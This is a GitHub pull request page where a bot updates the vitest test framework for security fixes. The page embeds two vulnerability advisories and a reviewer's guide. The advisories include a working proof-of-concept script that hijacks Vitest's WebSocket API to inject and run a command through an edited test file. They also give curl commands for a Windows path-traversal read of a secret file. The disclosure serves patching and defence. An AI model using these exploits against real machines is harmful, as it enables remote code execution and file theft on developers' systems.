Skip to content

chore(deps): update dependency vitest to v3 [security]#2

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v3 [security]#2
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 4, 2025

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) ^1.6.0^3.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.3

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.2

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Feb 4, 2025

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: e9ebbb3

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@sourcery-ai

sourcery-ai Bot commented Feb 4, 2025

Copy link
Copy Markdown

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from version 1.6.0 to 1.6.1 to address a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution. The vulnerability stems from a cross-site WebSocket hijacking (CSWSH) attack when the api option is enabled.

Sequence diagram showing the security vulnerability in Vitest API server

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant VS as Vitest API Server
    participant FS as File System

    Note over VS: API option enabled
    Note over VS: No Origin header check
    Note over VS: No authorization

    Attacker->>MW: Visits malicious website
    MW->>VS: WebSocket connection (ws://localhost:51204/__vitest_api__)
    VS-->>MW: Connection accepted (vulnerable)
    MW->>VS: getFiles request
    VS-->>MW: Test file paths
    MW->>VS: saveTestFile (inject malicious code)
    VS->>FS: Write malicious code to test file
    MW->>VS: rerun command
    VS->>FS: Execute modified test file
    Note over FS: Arbitrary code execution
Loading

File-Level Changes

Change Details Files
Updated vitest dependency to address CVE-2025-24964.
  • Updated vitest version from 1.6.0 to 1.6.1.
  • Updated @vitest/coverage-v8 version from 1.6.0 to 1.6.0(vitest@1.6.1).
  • Updated picocolors version from 1.0.0 to 1.1.1.
  • Updated @esbuild/aix-ppc64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/android-arm64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/android-arm version from 0.20.2 to 0.21.5.
  • Updated @esbuild/android-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/darwin-arm64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/darwin-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/freebsd-arm64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/freebsd-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-arm64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-arm version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-ia32 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-loong64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-mips64el version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-ppc64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-riscv64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-s390x version from 0.20.2 to 0.21.5.
  • Updated @esbuild/linux-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/netbsd-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/openbsd-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/sunos-x64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/win32-arm64 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/win32-ia32 version from 0.20.2 to 0.21.5.
  • Updated @esbuild/win32-x64 version from 0.20.2 to 0.21.5.
  • Updated @jridgewell/sourcemap-codec version from 1.4.15 to 1.5.0.
  • Added @rollup/rollup-android-arm-eabi version 4.34.2.
  • Updated @rollup/rollup-android-arm64 version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-darwin-arm64 version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-darwin-x64 version from 4.17.2 to 4.34.2.
  • Added @rollup/rollup-freebsd-arm64 version 4.34.2.
  • Added @rollup/rollup-freebsd-x64 version 4.34.2.
  • Updated @rollup/rollup-linux-arm-gnueabihf version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-arm-musleabihf version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-arm64-gnu version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-arm64-musl version from 4.17.2 to 4.34.2.
  • Added @rollup/rollup-linux-loongarch64-gnu version 4.34.2.
  • Updated @rollup/rollup-linux-powerpc64le-gnu version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-riscv64-gnu version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-s390x-gnu version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-x64-gnu version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-linux-x64-musl version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-win32-arm64-msvc version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-win32-ia32-msvc version from 4.17.2 to 4.34.2.
  • Updated @rollup/rollup-win32-x64-msvc version from 4.17.2 to 4.34.2.
  • Updated acorn-walk version from 8.3.2 to 8.3.4.
  • Updated acorn version from 8.11.3 to 8.14.0.
  • Updated chai version from 4.4.1 to 4.5.0.
  • Updated deep-eql version from 4.1.3 to 4.1.4.
  • Updated type-detect version from 4.0.8 to 4.1.0.
  • Updated cross-spawn version from 7.0.3 to 7.0.6.
  • Updated debug version from 4.3.4 to 4.4.0.
  • Updated ms version from 2.1.2 to 2.1.3.
  • Updated esbuild version from 0.20.2 to 0.21.5.
  • Updated magic-string version from 0.30.10 to 0.30.17.
  • Updated mlly version from 1.7.0 to 1.7.4.
  • Updated pkg-types version from 1.1.0 to 1.3.1.
  • Updated ufo version from 1.5.3 to 1.5.4.
  • Updated postcss version from 8.4.38 to 8.5.1.
  • Updated rollup version from 4.17.2 to 4.34.2.
  • Updated std-env version from 3.7.0 to 3.8.0.
  • Updated strip-literal version from 2.1.0 to 2.1.1.
  • Updated vite version from 5.2.11 to 5.4.14.
  • Updated vite-node version from 1.6.0 to 1.6.1.
  • Updated vitest version from 1.6.0 to 1.6.1.
  • Updated why-is-node-running version from 2.2.2 to 2.3.0.
  • Updated yocto-queue version from 1.0.0 to 1.1.1.
pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@sourcery-ai sourcery-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ce53e26 to cce14a4 Compare February 9, 2025 11:09
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from cce14a4 to 9827024 Compare March 5, 2025 04:19
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 3e7fbfc to ab89306 Compare March 18, 2025 23:40
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ab89306 to 9334502 Compare April 1, 2025 20:07
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9334502 to 42a7508 Compare April 12, 2025 03:40
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 42a7508 to c08b5b4 Compare April 26, 2025 20:11
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c08b5b4 to d075100 Compare May 24, 2025 16:05
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from ae3483b to 2599cdd Compare June 6, 2025 11:53
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2599cdd to 3fe7303 Compare July 5, 2025 11:52
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from e3d2a29 to 375bb55 Compare August 15, 2025 20:03
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 375bb55 to b1e831b Compare August 23, 2025 07:33
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b1e831b to b32ef06 Compare September 1, 2025 01:19
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b32ef06 to 622d572 Compare September 26, 2025 00:01
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 622d572 to bbfdf05 Compare October 23, 2025 08:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 04609a7 to dea32c0 Compare November 19, 2025 16:15
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from dea32c0 to 305fe42 Compare December 4, 2025 20:12
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 305fe42 to 075f603 Compare January 1, 2026 02:43
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 075f603 to 4ccb3fc Compare January 9, 2026 15:36
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 3a06c12 to ad9c549 Compare January 24, 2026 14:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ad9c549 to bb6fc4a Compare February 3, 2026 19:53
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from bb6fc4a to 73c445a Compare February 13, 2026 20:09
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 832729b to b841ffa Compare March 14, 2026 19:54
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b841ffa to 8244856 Compare April 15, 2026 15:28
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8244856 to 1fc298a Compare May 1, 2026 08:19
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1fc298a to 505db21 Compare May 13, 2026 06:53
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 505db21 to 20d6be2 Compare May 22, 2026 00:02
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from abcfb2c to 763f88a Compare June 4, 2026 20:09
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v4 [security] Jun 4, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 763f88a to e9ebbb3 Compare June 12, 2026 15:43
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v4 [security] chore(deps): update dependency vitest to v3 [security] Jun 12, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants